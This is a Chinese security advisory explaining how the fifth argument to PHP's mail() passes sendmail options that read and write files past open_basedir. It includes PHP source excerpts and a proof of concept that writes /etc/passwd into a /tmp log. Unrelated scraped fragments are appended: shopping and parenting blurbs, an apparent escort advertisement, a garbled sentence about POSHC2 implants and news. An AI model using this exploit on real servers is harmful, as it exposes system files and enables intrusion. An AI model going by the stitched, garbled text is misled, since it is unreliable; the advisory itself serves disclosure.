漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。漏洞分析:php的Mail函数在php源码里以如下形式实现: Php 代码复制代码 ...... if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){ php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE."); RETURN_FALSE; } if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss", &to,&to_len, &subject,&subject_len, &message,&message_len, &headers,&headers_len, &extra_cmd,&extra_cmd_len )==FAILURE){ return; } ...... if(force_extra_parameters){ extra_cmd=estrdup(force_extra_parameters); }elseif(extra_cmd){ extra_cmd=php_escape_shell_cmd(extra_cmd); } if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){ RETVAL_TRUE; }else{ RETVAL_FALSE; } ..... ...... if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE."); RETURN_FALSE; } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &to, &to_len, &subject, &subject_len, &message, &message_len, &headers, &headers_len, &extra_cmd, &extra_cmd_len ) == FAILURE) { return; } ...... if (force_extra_parameters) { extra_cmd = estrdup(force_extra_parameters); } else if (extra_cmd) { extra_cmd = php_escape_shell_cmd(extra_cmd); } if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) { RETVAL_TRUE; } else { RETVAL_FALSE; } ..... 在php_mail中 Php 代码复制代码 PHPAPIintphp_mail(char*to,char*subject,char*message,char*headers,char*extra_cmdTSRMLS_DC) { .... FILE*sendmail; intret; char*sendmail_path=INI_STR("sendmail_path"); char*sendmail_cmd=NULL; .... if(extra_cmd!=NULL){ sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy(sendmail_cmd,sendmail_path); strcat(sendmail_cmd,""); strcat(sendmail_cmd,extra_cmd); }else{ sendmail_cmd=sendmail_path; } .... /*Sincepopen()doesn'tindicateiftheinternalfork()doesn'twork *(e.g.theshellcan'tbeexecuted)weexplicitelysetitto0tobe *surewedon'tcatchanyoldererrnovalue.*/ errno=0; sendmail=popen(sendmail_cmd,"w"); PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) { .... FILE *sendmail; int ret; char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; .... if (extra_cmd != NULL) { sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, " "); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } .... /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); 如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。 漏洞测试: Php 代码复制代码 <?php $to='jianxin&80sec.com'.str_repeat("x",10000); $subject='thesubject'.str_repeat("x",10); $message='hello'.str_repeat("x",10); mail($to,$subject,$message,$headers,"-v-bt-X/tmp/80sec-d13-C/etc/passwd"); ?> <?php $to = 'jianxin@80sec.com'.str_repeat("x",10000); $subject = 'the subject'.str_repeat("x",10); $message = 'hello'.str_repeat("x",10); mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd"); ?> 本站内容均为原创,转载请务必保留署名与链接!php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html
深圳有一个小得可怜的服装批发市场,做服装10年也未必知道这个市场所在的位置。 这个市场的T恤特别便宜,一般厂家25元做出来的货品,它12元左右就能批发。 这个市场在深圳西乡一个小商品市场和三鸟...
. 当宝宝吃芒果的时候很多的人认为小宝宝吃芒果的话可能会造成过敏,其实小宝宝吃芒果只要挑对了芒果,注意吃芒果的事项就不会引发过敏哦,当有的宝宝吃了芒果过敏也不要紧张可以进行护理,避免过敏更加的严重。...
“什么软件可以找人结伴游-【李金花】” 礼仪接待活动:6293米/天?′:胸61腰87臀63 鞋码:38徐汇商务伴游心情:培训老师兼职伴游.喜欢旅行.希望在旅途路上有...
解码/解混杂代码V3版别每个缝隙运用程序中的主编码有用载荷运用WMIC进行体系剖析,以承认恰当的依靠于操作体系的POSHC2植入程序,并将名为“Media.ps1”的PowerShell脚本保存在用户...
这种好婆婆好媳妇的记录应该是属于真实性的,你可以以流水的形式记录下他们的日常生活就好了。 先有好婆婆,才有儿媳妇,其实非常赞同这个观点。毕竟只有先做好婆婆,那么媳妇才会用心的去和婆婆相处。如果作为婆婆...
加拿大示威者拉倒“国父”雕像, 魁北克省省长: “破坏历史”绝非问题解决之道 【环球时报记者 刘皓然】受美国种族运动的影响,加拿大在刚过去的周末也出现雕像被破坏事件:有“加拿大国父”之称的麦...